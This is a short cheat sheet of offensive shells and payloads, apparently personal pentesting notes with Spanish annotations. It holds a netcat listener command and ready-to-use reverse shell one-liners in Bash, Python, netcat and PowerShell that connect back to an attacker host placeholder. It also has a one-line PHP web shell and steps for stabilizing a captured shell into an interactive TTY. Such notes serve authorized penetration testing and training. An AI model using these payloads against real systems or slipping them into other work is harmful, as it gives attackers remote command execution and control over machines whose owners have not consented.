Shells & Payloads

[!important] The Connection Siempre ten tu listener listo: nc -lvnp 443

1. Reverse Shells (The Classics)

Bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <KALI> 443 >/tmp/f

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<KALI>",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Netcat (with -e)

nc <KALI> 443 -e /bin/bash

PowerShell

$client = New-Object System.Net.Sockets.TcpClient('<KALI>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

2. Web Shells (Uploads)

PHP

<?php system($_GET['cmd']); ?>
<!-- Uso: shell.php?cmd=whoami -->

ASPX (Windows IIS) Busca en Kali: /usr/share/webshells/aspx/cmdasp.aspx

3. Upgrading Shells (Interactive TTY)

¡No pierdas tu shell por pulsar Ctrl+C! 1. En la víctima: python3 -c 'import pty; pty.spawn("/bin/bash")' 2. Ctrl+Z (Background). 3. En Kali: stty raw -echo; fg 4. reset 5. export TERM=xterm